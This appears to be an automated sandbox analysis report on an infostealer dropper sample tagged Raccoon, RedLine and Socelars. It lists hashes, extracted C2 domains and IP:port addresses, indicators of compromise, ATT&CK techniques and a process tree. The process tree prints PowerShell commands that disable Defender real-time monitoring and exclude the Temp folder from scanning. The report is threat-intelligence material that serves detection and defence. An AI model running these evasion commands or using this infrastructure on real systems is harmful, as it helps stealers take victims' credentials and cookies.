raccoon | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

max time kernel
46s
max time network
191s
platform
windows11_x64
resource
win11
submitted
10/11/2021, 14:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Size

4.6MB
MD5

4f85f62146d5148f290ff107d4380941
SHA1

5c513bcc232f36d97c2e893d1c763f3cbbf554ff
SHA256

578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3
SHA512

bc4ae4f7101b20ab649ea2a44d5da42875af5068c33c1772960c342cc8731bddfdabd721fb31a49523ea957615252d567a00346035bddacfa58cf97853587594

Score

10^/10

raccoon redline socelars chris fucker2 aspackv2 evasion infostealer persistence stealer suricata

Malware Config

Extracted

Family

socelars

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

fucker2

135.181.129.119:4805

Extracted

Family

redline

Botnet

Chris

194.104.136.5:46013

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

resource	yara_rule
behavioral8/memory/5892-321-0x0000000000000000-mapping.dmp	family_redline
behavioral8/memory/5892-322-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral8/memory/5912-325-0x0000000000000000-mapping.dmp	family_redline
behavioral8/memory/5912-326-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral8/memory/5192-362-0x0000000000000000-mapping.dmp	family_redline
behavioral8/memory/5192-373-0x00000000056B0000-0x0000000005CC8000-memory.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral8/files/0x000100000002b1c6-255.dat	family_socelars
behavioral8/files/0x000100000002b1c6-205.dat	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5136 created 1276	5136	WerFault.exe	85

suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral8/files/0x000100000002b1bf-157.dat	aspack_v212_v242
behavioral8/files/0x000100000002b1c2-161.dat	aspack_v212_v242
behavioral8/files/0x000100000002b1c0-155.dat	aspack_v212_v242
behavioral8/files/0x000100000002b1bf-156.dat	aspack_v212_v242
behavioral8/files/0x000100000002b1c0-154.dat	aspack_v212_v242
behavioral8/files/0x000100000002b1c2-160.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 20 IoCs

pid	Process
952	setup_installer.exe
1276	setup_install.exe
3048	Tue19c9e031f4.exe
2944	Tue19ac3c92c21.exe
4332	Tue19c28f648204dbd4.exe
868	Tue193e530416b51740a.exe
4524	Tue1932df4dae.exe
4412	Tue196397c0f84f8.exe
4904	Tue1968b7ee9058232e8.exe
4008	Tue197e9ec0ff0.exe
3916	Tue192c34b1c2f5.exe
2032	Tue19d1fc7d2654d7a.exe
2036	Tue196397c0f84f8.tmp
5088	Tue19cd42a7c874e44.exe
1284	Tue193129b31e741ef3.exe
1456	Tue19cef5687a.exe
5288	Tue19b4b38a7569a9.exe
5484	Tue196397c0f84f8.exe
5416	HxnEXTWQzdyogrSbPscNz7xy.exe
5736	Tue196397c0f84f8.tmp

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Loads dropped DLL 6 IoCs

pid	Process
1276	setup_install.exe
1276	setup_install.exe
1276	setup_install.exe
1276	setup_install.exe
1276	setup_install.exe
2036	Tue196397c0f84f8.tmp

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 9 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
271	ipinfo.io
39	ipinfo.io
39	ip-api.com
62	ipinfo.io
103	ipinfo.io
180	api.db-ip.com
235	ipinfo.io
103	api.db-ip.com
175	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 15 IoCs

pid	pid_target	Process	procid_target
5548	1276	WerFault.exe	85
5680	1456	WerFault.exe	101
2096	1284	WerFault.exe	117
4656	4520	WerFault.exe	147
2468	5384	WerFault.exe	152
3384	5716	WerFault.exe	150
5468	5464	WerFault.exe	159
5676	5124	WerFault.exe	155
2144	876	WerFault.exe	161
3028	2296	WerFault.exe	156
5936	4904	WerFault.exe	122
4948	3916	WerFault.exe	120
3528	4904	WerFault.exe	231
3720	3456	WerFault.exe	228
588	5588	WerFault.exe	229

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3560	schtasks.exe
4520	schtasks.exe
2852	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5496	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2904	powershell.exe
2904	powershell.exe
3184	powershell.exe
3184	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4976	svchost.exe
Token: SeCreatePagefilePrivilege	4976	svchost.exe
Token: SeShutdownPrivilege	4976	svchost.exe
Token: SeCreatePagefilePrivilege	4976	svchost.exe
Token: SeShutdownPrivilege	4976	svchost.exe
Token: SeCreatePagefilePrivilege	4976	svchost.exe
Token: SeCreateTokenPrivilege	1284	WerFault.exe
Token: SeAssignPrimaryTokenPrivilege	1284	WerFault.exe
Token: SeLockMemoryPrivilege	1284	WerFault.exe
Token: SeIncreaseQuotaPrivilege	1284	WerFault.exe
Token: SeMachineAccountPrivilege	1284	WerFault.exe
Token: SeTcbPrivilege	1284	WerFault.exe
Token: SeSecurityPrivilege	1284	WerFault.exe
Token: SeTakeOwnershipPrivilege	1284	WerFault.exe
Token: SeLoadDriverPrivilege	1284	WerFault.exe
Token: SeSystemProfilePrivilege	1284	WerFault.exe
Token: SeSystemtimePrivilege	1284	WerFault.exe
Token: SeProfSingleProcessPrivilege	1284	WerFault.exe
Token: SeIncBasePriorityPrivilege	1284	WerFault.exe
Token: SeCreatePagefilePrivilege	1284	WerFault.exe
Token: SeCreatePermanentPrivilege	1284	WerFault.exe
Token: SeBackupPrivilege	1284	WerFault.exe
Token: SeRestorePrivilege	1284	WerFault.exe
Token: SeShutdownPrivilege	1284	WerFault.exe
Token: SeDebugPrivilege	1284	WerFault.exe
Token: SeAuditPrivilege	1284	WerFault.exe
Token: SeSystemEnvironmentPrivilege	1284	WerFault.exe
Token: SeChangeNotifyPrivilege	1284	WerFault.exe
Token: SeRemoteShutdownPrivilege	1284	WerFault.exe
Token: SeUndockPrivilege	1284	WerFault.exe
Token: SeSyncAgentPrivilege	1284	WerFault.exe
Token: SeEnableDelegationPrivilege	1284	WerFault.exe
Token: SeManageVolumePrivilege	1284	WerFault.exe
Token: SeImpersonatePrivilege	1284	WerFault.exe
Token: SeCreateGlobalPrivilege	1284	WerFault.exe
Token: 31	1284	WerFault.exe
Token: 32	1284	WerFault.exe
Token: 33	1284	WerFault.exe
Token: 34	1284	WerFault.exe
Token: 35	1284	WerFault.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	5088	Tue19cd42a7c874e44.exe
Token: SeShutdownPrivilege	4536	svchost.exe
Token: SeCreatePagefilePrivilege	4536	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 952	816	578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe	84
PID 816 wrote to memory of 952	816	578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe	84
PID 816 wrote to memory of 952	816	578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe	84
PID 952 wrote to memory of 1276	952	setup_installer.exe	85
PID 952 wrote to memory of 1276	952	setup_installer.exe	85
PID 952 wrote to memory of 1276	952	setup_installer.exe	85
PID 1276 wrote to memory of 3188	1276	setup_install.exe	90
PID 1276 wrote to memory of 3188	1276	setup_install.exe	90
PID 1276 wrote to memory of 3188	1276	setup_install.exe	90
PID 1276 wrote to memory of 3336	1276	setup_install.exe	91
PID 1276 wrote to memory of 3336	1276	setup_install.exe	91
PID 1276 wrote to memory of 3336	1276	setup_install.exe	91
PID 3188 wrote to memory of 2904	3188	cmd.exe	93
PID 3188 wrote to memory of 2904	3188	cmd.exe	93
PID 3188 wrote to memory of 2904	3188	cmd.exe	93
PID 1276 wrote to memory of 4108	1276	setup_install.exe	92
PID 1276 wrote to memory of 4108	1276	setup_install.exe	92
PID 1276 wrote to memory of 4108	1276	setup_install.exe	92
PID 3336 wrote to memory of 3184	3336	cmd.exe	137
PID 3336 wrote to memory of 3184	3336	cmd.exe	137
PID 3336 wrote to memory of 3184	3336	cmd.exe	137
PID 1276 wrote to memory of 2516	1276	setup_install.exe	136
PID 1276 wrote to memory of 2516	1276	setup_install.exe	136
PID 1276 wrote to memory of 2516	1276	setup_install.exe	136
PID 1276 wrote to memory of 3312	1276	setup_install.exe	135
PID 1276 wrote to memory of 3312	1276	setup_install.exe	135
PID 1276 wrote to memory of 3312	1276	setup_install.exe	135
PID 1276 wrote to memory of 4148	1276	setup_install.exe	94
PID 1276 wrote to memory of 4148	1276	setup_install.exe	94
PID 1276 wrote to memory of 4148	1276	setup_install.exe	94
PID 1276 wrote to memory of 4020	1276	setup_install.exe	95
PID 1276 wrote to memory of 4020	1276	setup_install.exe	95
PID 1276 wrote to memory of 4020	1276	setup_install.exe	95
PID 1276 wrote to memory of 4456	1276	setup_install.exe	134
PID 1276 wrote to memory of 4456	1276	setup_install.exe	134
PID 1276 wrote to memory of 4456	1276	setup_install.exe	134
PID 1276 wrote to memory of 4272	1276	setup_install.exe	133
PID 1276 wrote to memory of 4272	1276	setup_install.exe	133
PID 1276 wrote to memory of 4272	1276	setup_install.exe	133
PID 1276 wrote to memory of 2052	1276	setup_install.exe	96
PID 1276 wrote to memory of 2052	1276	setup_install.exe	96
PID 1276 wrote to memory of 2052	1276	setup_install.exe	96
PID 2516 wrote to memory of 3048	2516	cmd.exe	132
PID 2516 wrote to memory of 3048	2516	cmd.exe	132
PID 4108 wrote to memory of 2944	4108	cmd.exe	97
PID 4108 wrote to memory of 2944	4108	cmd.exe	97
PID 4108 wrote to memory of 2944	4108	cmd.exe	97
PID 1276 wrote to memory of 1928	1276	setup_install.exe	131
PID 1276 wrote to memory of 1928	1276	setup_install.exe	131
PID 1276 wrote to memory of 1928	1276	setup_install.exe	131
PID 1276 wrote to memory of 3096	1276	setup_install.exe	130
PID 1276 wrote to memory of 3096	1276	setup_install.exe	130
PID 1276 wrote to memory of 3096	1276	setup_install.exe	130
PID 4020 wrote to memory of 4332	4020	cmd.exe	129
PID 4020 wrote to memory of 4332	4020	cmd.exe	129
PID 4020 wrote to memory of 4332	4020	cmd.exe	129
PID 1276 wrote to memory of 2596	1276	setup_install.exe	128
PID 1276 wrote to memory of 2596	1276	setup_install.exe	128
PID 1276 wrote to memory of 2596	1276	setup_install.exe	128
PID 1276 wrote to memory of 5028	1276	setup_install.exe	127
PID 1276 wrote to memory of 5028	1276	setup_install.exe	127
PID 1276 wrote to memory of 5028	1276	setup_install.exe	127
PID 4148 wrote to memory of 868	4148	cmd.exe	126
PID 4148 wrote to memory of 868	4148	cmd.exe	126

C:\Users\Admin\AppData\Local\Temp\578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
"C:\Users\Admin\AppData\Local\Temp\578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:816
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1276
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3188
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2904
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3336
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3184
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19ac3c92c21.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4108
    - - C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19ac3c92c21.exe
        
        Tue19ac3c92c21.exe
        5⤵
        Executes dropped EXE
        
        PID:2944
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue193e530416b51740a.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4148
    - - C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue193e530416b51740a.exe
        
        Tue193e530416b51740a.exe
        5⤵
        Executes dropped EXE
        
        PID:868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19c28f648204dbd4.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4020
    - - C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19c28f648204dbd4.exe
        
        Tue19c28f648204dbd4.exe
        5⤵
        Executes dropped EXE
        
        PID:4332
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue192c34b1c2f5.exe /mixone
      4⤵
      PID:2052
    - - C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue192c34b1c2f5.exe
        
        Tue192c34b1c2f5.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:3916
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 296
        6⤵
        Program crash
        
        PID:4948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19f40f8518b9946.exe
      4⤵
      PID:936
    - - C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19f40f8518b9946.exe
        
        Tue19f40f8518b9946.exe
        5⤵
        
        PID:5416
      - C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19f40f8518b9946.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19f40f8518b9946.exe
        6⤵
        
        PID:6100
      - C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19f40f8518b9946.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19f40f8518b9946.exe
        6⤵
        
        PID:5192
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1276 -s 648
      4⤵
      Program crash
      PID:5548
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19b4b38a7569a9.exe
      4⤵
      PID:820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19cd42a7c874e44.exe
      4⤵
      PID:4540
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19d1fc7d2654d7a.exe
      4⤵
      PID:5028
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19cef5687a.exe
      4⤵
      PID:2596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue193129b31e741ef3.exe
      4⤵
      PID:3096
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue197e9ec0ff0.exe
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue196397c0f84f8.exe
      4⤵
      PID:4272
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1968b7ee9058232e8.exe
      4⤵
      PID:4456
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1932df4dae.exe
      4⤵
      PID:3312
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19c9e031f4.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2516

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv LjDJ0TK6PkGDi7y3N31yHQ.0.2
1⤵
PID:4448

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe e0570aceacfdefd92b17a32999408fbf LjDJ0TK6PkGDi7y3N31yHQ.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:2184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4976

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue197e9ec0ff0.exe
Tue197e9ec0ff0.exe
1⤵
- Executes dropped EXE
PID:4008
- C:\Users\Admin\Pictures\Adobe Films\jZrqV1pjCZZr2zbXNpZIkQZM.exe
  "C:\Users\Admin\Pictures\Adobe Films\jZrqV1pjCZZr2zbXNpZIkQZM.exe"
  2⤵
  PID:5184
- C:\Users\Admin\Pictures\Adobe Films\s21dxzawxX5OJ_rthZAcB43t.exe
  "C:\Users\Admin\Pictures\Adobe Films\s21dxzawxX5OJ_rthZAcB43t.exe"
  2⤵
  PID:4936
- C:\Users\Admin\Pictures\Adobe Films\cRdonvvQBjgDItJTBdbxnxfu.exe
  "C:\Users\Admin\Pictures\Adobe Films\cRdonvvQBjgDItJTBdbxnxfu.exe"
  2⤵
  PID:5408
- C:\Users\Admin\Pictures\Adobe Films\OdcTVjnZ439AX3QFoWTSNFNe.exe
  "C:\Users\Admin\Pictures\Adobe Films\OdcTVjnZ439AX3QFoWTSNFNe.exe"
  2⤵
  PID:4520
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 300
    3⤵
    - Program crash
    PID:4656
- C:\Users\Admin\Pictures\Adobe Films\HxnEXTWQzdyogrSbPscNz7xy.exe
  "C:\Users\Admin\Pictures\Adobe Films\HxnEXTWQzdyogrSbPscNz7xy.exe"
  2⤵
  - Executes dropped EXE
  PID:5416
- - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
    3⤵
    PID:6052
- C:\Users\Admin\Pictures\Adobe Films\ZCqiAYchVJezusOwWw2wUlLb.exe
  "C:\Users\Admin\Pictures\Adobe Films\ZCqiAYchVJezusOwWw2wUlLb.exe"
  2⤵
  PID:5672
- - C:\Users\Admin\Pictures\Adobe Films\ZCqiAYchVJezusOwWw2wUlLb.exe
    "C:\Users\Admin\Pictures\Adobe Films\ZCqiAYchVJezusOwWw2wUlLb.exe"
    3⤵
    PID:6136
- C:\Users\Admin\Pictures\Adobe Films\Ywv_tMbgKYoTgAV9TCfZB2Rm.exe
  "C:\Users\Admin\Pictures\Adobe Films\Ywv_tMbgKYoTgAV9TCfZB2Rm.exe"
  2⤵
  PID:5716
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5716 -s 300
    3⤵
    - Program crash
    PID:3384
- C:\Users\Admin\Pictures\Adobe Films\U5aPwGaExMJNYRipGWq3_tbI.exe
  "C:\Users\Admin\Pictures\Adobe Films\U5aPwGaExMJNYRipGWq3_tbI.exe"
  2⤵
  PID:5264
- C:\Users\Admin\Pictures\Adobe Films\V9reINIpqarz1zrpg4i2qdDW.exe
  "C:\Users\Admin\Pictures\Adobe Films\V9reINIpqarz1zrpg4i2qdDW.exe"
  2⤵
  PID:5384
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:4244
  - - C:\Users\Admin\AppData\Local\Temp\fl.exe
      "C:\Users\Admin\AppData\Local\Temp\fl.exe"
      4⤵
      PID:2740
    - - C:\Users\Admin\AppData\Local\Temp\Curarization.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Curarization.exe"
        5⤵
        
        PID:856
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5384 -s 560
    3⤵
    - Program crash
    PID:2468
- C:\Users\Admin\Pictures\Adobe Films\iECldv1UaeZcH9L1nAFpWhcn.exe
  "C:\Users\Admin\Pictures\Adobe Films\iECldv1UaeZcH9L1nAFpWhcn.exe"
  2⤵
  PID:2480
- C:\Users\Admin\Pictures\Adobe Films\1i1IhDbPTHOHnWfQpHHgZW0O.exe
  "C:\Users\Admin\Pictures\Adobe Films\1i1IhDbPTHOHnWfQpHHgZW0O.exe"
  2⤵
  PID:5304
- C:\Users\Admin\Pictures\Adobe Films\x6aIS7PHI2wPel7ayeeUWKp0.exe
  "C:\Users\Admin\Pictures\Adobe Films\x6aIS7PHI2wPel7ayeeUWKp0.exe"
  2⤵
  PID:5124
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5124 -s 292
    3⤵
    - Program crash
    PID:5676
- C:\Users\Admin\Pictures\Adobe Films\anPJvL5uMlhbEBWATvCZcsvK.exe
